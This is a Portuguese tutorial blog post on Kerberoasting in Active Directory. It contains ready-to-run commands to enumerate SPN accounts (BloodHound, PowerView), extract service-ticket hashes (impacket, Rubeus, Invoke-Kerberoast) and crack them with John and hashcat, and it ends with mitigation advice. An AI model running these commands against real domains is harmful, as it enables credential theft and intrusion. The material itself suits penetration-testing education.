Atacando o Kerberos – Kerberoasting

Atacando o Kerberos – Kerberoasting

O kerberoasting é um ataque que visa explorar uma vulnerabilidade no protocolo de autenticação Kerberos, amplamente utilizado em sistemas Windows. Ele permite que um atacante extraia a hash das senhas de contas de serviço em formato criptografado, uma vez que qualquer usuário do domínio pode solicitar um TGS para qualquer conta que possua um SPN (ServicePrincipalName). Essas hashes podem ser posteriormente quebradas offline.

Identificando contas vulneráveis

Você pode saber que uma conta de usuário está sendo usada como um serviço porque a propriedade/atributo “ServicePrincipalName” não é nula.

Bloodhound

Dessa forma, através do Bloodhound é possível identificar as contas vulneráveis a Kerberoasting de duas maneiras:

  • Clicando em “List all Kerberoastable Accounts” na aba Analysis
  • Executando a Query abaixo
MATCH (n:User) WHERE n.hasspn=true RETURN n

Powerview

Agora, vamos utilizar o Powerview para realizar a checagem:

Import-Module .\PowerView.ps1
Get-NetUser -SPN | select samaccountname, serviceprincipalname

ADExplorer

Via ADExplorer é possível identificar contas vulneráveis a Kerberoasting utilizando o filtro:

  • Class: User
  • Attribute: servicePrincipalName
  • Relation: not empty

Realizando o ataque

1 - Obtendo hashes

Impacket

Por meio do impacket, por exemplo, é possível obter as hashes com o comando abaixo:

impacket-GetUserSPNs controller.local/Machine1:Password1 -dc-ip 10.10.141.235 -request | egrep '^\$' > hashes_obtidas.txt

Rubeus

Por meio do Rubeus, por exemplo, é possível obter as hashes com o comando abaixo:

.\Rubeus.exe kerberoast /outfile:hashes_obtidas.txt

Invoke-Kerberoast (Empire)

A versão do Invoke-Kerberoast utilizada para nos exemplos abaixo foi: https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1

. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes_obtidas.txt

2 - Quebrando as hashes obtidas

John The Ripper

Por meio do impacket, por exemplo, é possível quebrar as hashes com o comando abaixo:

john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes_obtidas.txt

Hashcat

Por meio do hashcat, por exemplo, é possível quebrar as hashes com o comando abaixo:

hashcat -m 13100 --force -a 0 hashes_obtidas.txt /usr/share/wordlists/rockyou.txt

Como proteger-se contra Kerberoasting / Recomendações

Por fim, inevitavelmente algumas contas necessitarão estar vulneráveis a Kerberoasting pelo fato de serem contas de vinculadas a serviços. Em outras palavras, na maioria das redes será necessário lidar com este problema mitigando o risco, ou seja, dificultando a exploração.

Seguem algumas recomendações:

  1. Ter uma boa política de senha: Implemente políticas rigorosas de senha, exigindo senhas longas e complexas, além de períodos de expiração regulares.
  2. Monitorar as contas de serviço: Faça uma auditoria regular das contas de serviço em seu ambiente e verifique se elas são realmente necessárias.
  3. Segregação de privilégios: Use o princípio de menor privilégio para garantir que as contas de serviço tenham apenas os privilégios necessários para realizar suas funções.
  4. Monitoramento de atividades: Implemente soluções de monitoramento e detecção de anomalias para identificar atividades suspeitas em seu ambiente.

Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !

Posts relacionados

Hack the Box – Legacy Writeup

Hack the Box – Legacy Writeup

Usaremos Metasploit neste post Hoje veremos o writeup completo da máquina Legacy do Hack The Box!

Ler post completo
Powershell Download & Execute

Powershell Download & Execute

Já precisou realizar o download de algum arquivo em Powershell e teve dificuldades?

Ler post completo
Bypass do Defender utilizando substituição de strings

Bypass do Defender utilizando substituição de strings

Substituição de strings é uma das técnicas utilizadas para realizar bypass de antivírus.

Ler post completo